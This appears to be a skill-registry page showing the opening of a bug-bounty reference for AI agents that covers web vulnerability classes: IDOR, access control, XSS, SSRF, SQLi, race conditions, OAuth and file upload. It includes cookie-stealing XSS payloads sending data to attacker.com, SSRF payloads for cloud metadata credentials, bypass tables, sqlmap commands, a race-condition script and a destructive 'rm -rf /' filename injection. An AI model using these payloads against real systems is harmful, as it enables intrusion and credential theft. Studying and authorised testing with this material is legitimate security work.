gabson0x/bountyforge/web2-vuln-classes

Claude Code and agent skill by gabson0x/bountyforge

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS, SSRF (11 IP bypass techniques), SQLi, NoSQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10 agentic framework), API misconfig (mass assignment, JWT attacks, prototype pollution, CORS), ATO taxonomy (9 paths), SSTI (Jinja2/Twig/Freemarker/ERB/Spring), subdomain takeover, cloud/infra misconfigs, HTTP smuggling (CL.TE/TE.CL/H2.CL), cache poisoning, MFA bypass (7 patterns), SAML attacks (XSW/comment injection/signature stripping), XXE, insecure deserialization, host header injection, custom header injection, clickjacking, open redirect (11 bypass techniques), WebSocket attacks, SSRF chaining, and business logic bypass. Use when hunting a specific vuln class or studying what makes bugs pay.

Install

npx vskill@latest install gabson0x/bountyforge/web2-vuln-classes

SKILL.md

WEB2 BUG CLASSES — 28 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

See also: [[Vuln Classes]], [[Trust Map]], [[A→B Chains]], [[Security Arsenal]]

Auth-required classes (🔐): the ones below need **at least one logged-in
session** loaded into the hunt to be testable. Use `hunt.py --auth-file
.private/T.json or --cookie/--bearer` flags — every recon/scan tool then
inherits the headers automatically. For IDOR/BOLA/priv-esc, load **two
sessions** (low- and high-priv) and diff. See docs/auth-sessions.md.
🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT ·
GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response
manipulation tests) · ATO chains · SSRF behind login
The MFA workflow-skip and SAML signature-stripping probes intentionally
stay unauthenticated even when a session is loaded — that's the
attack premise.

1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐

#1 most paid web2 class — 30% of all submissions that get paid.
Needs two sessions (A=attacker, B=victim) — load both via --auth-file
and diff audit-log session_id hashes to confirm cross-tenant access.
Root Cause
python
# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
return jsonify(order) # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
order_id, current_user.id)
Variants
  • V1: Numeric ID swap — /api/user/123/profile → change to 124
  • V2: UUID swap — enumerate UUID via email invite or other endpoint
  • V3: Indirect IDOR — POST /api/export?report_id=456 exports another user's report
  • V4: Parameter add — ?user_id=other makes backend use it
  • V5: HTTP method swap — PUT protected, DELETE not
  • V6: Old API version — /v1/users/123 lacks auth that /v2/ has
  • V7: GraphQL node — { node(id: "base64(User:456)") { email } }
  • V8: WebSocket — WS sends {"action":"get_history","userId":"client-generated-UUID"}
Testing Checklist
[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs
IDOR Chain Escalation
  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot reads other user's data = High

2. BROKEN AUTH / ACCESS CONTROL 🔐

#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug.
Needs auth loaded — you're testing which sibling routes a logged-in
user can reach that shouldn't be reachable. Compare authed responses
against the same paths hit anonymously.
The Sibling Rule
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
Patterns
javascript
// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!
Real Paid Examples
  • HackerOne TrustHub: POST /graphql with TrustHubQuery — no auth, regular user reads all vendors (CVSS 8.7 High)
  • Vienna Chatbot: WebSocket get_history accepts arbitrary UUID — no ownership check (P2)

3. XSS — CROSS-SITE SCRIPTING

Stored XSS (highest impact)
Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack
DOM XSS Sinks (grep for these)
javascript
innerHTML = userInput // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
element.src = userInput // JavaScript URI possible
location.href = userInput
XSS Bypass Techniques
javascript
// CSP bypass — unsafe-inline blocked
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// Angular template injection
{{constructor.constructor('alert(1)')()}}
// mXSS — mutation-based
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot prompt call
'-prompt.call(window,%20'xss_found")-
XSS Chains (escalate to High/Critical)
  • XSS + sensitive page (banking/admin) = High
  • XSS + CSRF token theft = CSRF bypass on critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO

4. SSRF — SERVER-SIDE REQUEST FORGERY

Injection Points
?url=, ?src=, ?redirect=, ?next=, ?image=, ?webhook=, ?callback=
JSON: {"webhook": "http://...", "avatar_url": "http://..."}
SVG: <image href="http://internal">
SSRF Payloads (escalating impact)
bash
# DNS-only (Informational — insufficient alone)
https://attacker.burpcollaborator.net
# Cloud metadata (Critical on cloud apps)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Internal port scan
http://localhost:6379 # Redis
http://localhost:9200 # Elasticsearch
http://localhost:2375 # Docker API (RCE)
http://localhost:8080 # Admin panel
SSRF IP Bypass Techniques (11 techniques)
TechniqueExampleNotes
Decimal IPhttp://2130706433127.0.0.1 as decimal
Octal IPhttp://0177.0.0.1Octal 0177 = 127
Hex IPhttp://0x7f.0x0.0x0.0x1Hex representation
Short IPhttp://127.1Abbreviated notation
IPv6http://[::1]Loopback in IPv6
IPv6 mappedhttp://[::ffff:127.0.0.1]IPv4-mapped IPv6
DNS rebindingAttacker DNS → internal IPFirst check = external, fetch = internal
Redirect chainExternal URL → 302 to internalVercel pattern — check each hop
URL parser confusionhttp://attacker.com#@internalParser inconsistency
CNAME to internalAttacker domain → internal hostnameDNS points inward
Rare formathttp://[::ffff:0x7f000001]Mixed hex IPv6
SSRF Impact Chain
  • DNS-only = Informational
  • Internal service accessible = Medium
  • Cloud metadata = High (key exposure)
  • Cloud metadata + exfil keys = Critical

5. BUSINESS LOGIC

Transferred from web3's "incomplete code path" pattern.
Pattern 1: Fast Path Skips State Update
python
def redeem_coupon(coupon_code, user_id):
coupon = get_coupon(coupon_code)
if coupon.balance >= amount:
transfer(user_id, amount)
return # MISSING: never marks coupon as used!
coupon.mark_used()
transfer(user_id, amount)
Pattern 2: Workflow Step Skip
Normal: select plan → add payment → confirm → activate
Attack: skip to /confirm?plan=premium&skip_payment=true
Pattern 3: Negative / Zero Bypass
POST /api/transfer {"amount": -100} → credits attacker, debits victim
POST /api/cart {"quantity": 0} → adds item free
POST /api/refund {"amount": 99999} → refunds more than purchased
Pattern 4: Race Condition (TOCTOU)
Thread 1: checks balance (10 credits) → PASS
Thread 2: checks balance (10 credits) → PASS
Thread 1: deducts → 0 remaining
Thread 2: deducts → -10 remaining (DOUBLE SPEND)

6. RACE CONDITIONS

Classic Double-Spend
python
# VULNERABLE
def spend_credit(user_id, amount):
balance = get_balance(user_id) # CHECK
if balance >= amount:
deduct(user_id, amount) # USE — gap here
# SECURE (atomic)
rows = db.execute("UPDATE balances SET amount=amount-? WHERE user_id=? AND amount>=?",
amount, user_id, amount)
if rows == 0: raise InsufficientBalance()
Testing
bash
# Turbo Intruder (Burp) with Last-Byte Sync
# Python parallel
import threading, requests
threads = [threading.Thread(target=lambda: requests.post(url, json={'code':'PROMO123'},
headers={'Authorization': f'Bearer {token}'})) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
Race Targets
  • Coupon/promo code redemption
  • Gift card / credit spending
  • Limited stock purchase
  • Rate limit bypass (send before counter increments)
  • Email verification token

7. SQL INJECTION

Detection
bash
' OR '1'='1
' UNION SELECT NULL--
'; SELECT 1/0-- → divide by zero confirms SQLi
# sqlmap
python3 ~/tools/sqlmap/sqlmap.py -u "https://target.com/search?q=test" --batch --level=3
Grep for Vulnerable Code
bash
# Python — no placeholder = string concat = vulnerable
grep -rn "execute\|executemany\|raw(" --include="*.py" | grep -v "?"
# JavaScript — string concat in query
grep -rn "\.query(" --include="*.js" --include="*.ts" | grep "\+"
# PHP — variable in raw query
grep -rn "mysql_query\|mysqli_query" --include="*.php" | grep "\$"

8. OAUTH / OIDC BUGS

Missing PKCE (Coinbase pattern)
Test: GET /oauth2/auth?...&client_id=X (without code_challenge parameter)
Result: If 302 redirect (not error) = PKCE not enforced
Impact: Auth code interception → ATO
State Parameter Bypass (CSRF on OAuth)
Start OAuth → don't authorize → capture URL → send to victim
Victim authorizes → their auth code tied to YOUR session → ATO
Open Redirect Bypass Techniques (for OAuth chaining, 11 techniques)
TechniqueExampleWhy it works
@ symbolhttps://legit.com@evil.comBrowser navigates to evil.com
Subdomain abusehttps://legit.com.evil.comevil.com controls subdomain
Protocol tricksjavascript:alert(1)XSS via redirect
Double encoding%252f%252fevil.comDecodes to //evil.com
Backslashhttps://legit.com\@evil.comParsers normalize \ to /
Protocol-relative//evil.comUses current page's protocol
Null bytehttps://legit.com%00.evil.comSome parsers truncate at null
Unicode IDNhttps://legіt.com (Cyrillic і)Visually identical, different domain
Data URLdata:text/html,<script>...Direct payload
Fragment abusehttps://legit.com#@evil.comInconsistent parsing
Redirect + OAuthtarget.com/callback?redirect_uri=..Redirect endpoint

9. FILE UPLOAD

Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
AttackHowPrevention
Extension bypassshell.php.jpg, shell.pHp, shell.php5Allowlist + extract final extension
Null byteshell.php%00.jpgSanitize null bytes
Double extensionshell.jpg.phpOnly allow single extension
MIME spoofContent-Type: image/jpeg with .php bodyValidate magic bytes, not MIME header
Magic bytes prefixPrepend GIF89a; to PHP codeParse whole file, not just header
PolyglotValid as JPEG and PHPProcess as image lib, reject if invalid
SVG JavaScript<svg onload="...">Sanitize SVG or disallow entirely
XXE in DOCXMalicious XML in Office ZIPDisable external entities
ZIP slip../../../etc/passwd in archiveValidate extracted paths
Filename injection; rm -rf / in filenameSanitize + use UUID names
Magic Bytes Reference

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
431
Repository forks
54
7-day trend score
30

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/gabson0x/bountyforge/web2-vuln-classes/badge)](https://verified-skill.com/skills/gabson0x/bountyforge/web2-vuln-classes)

Something wrong with this skill or its page? Tell us.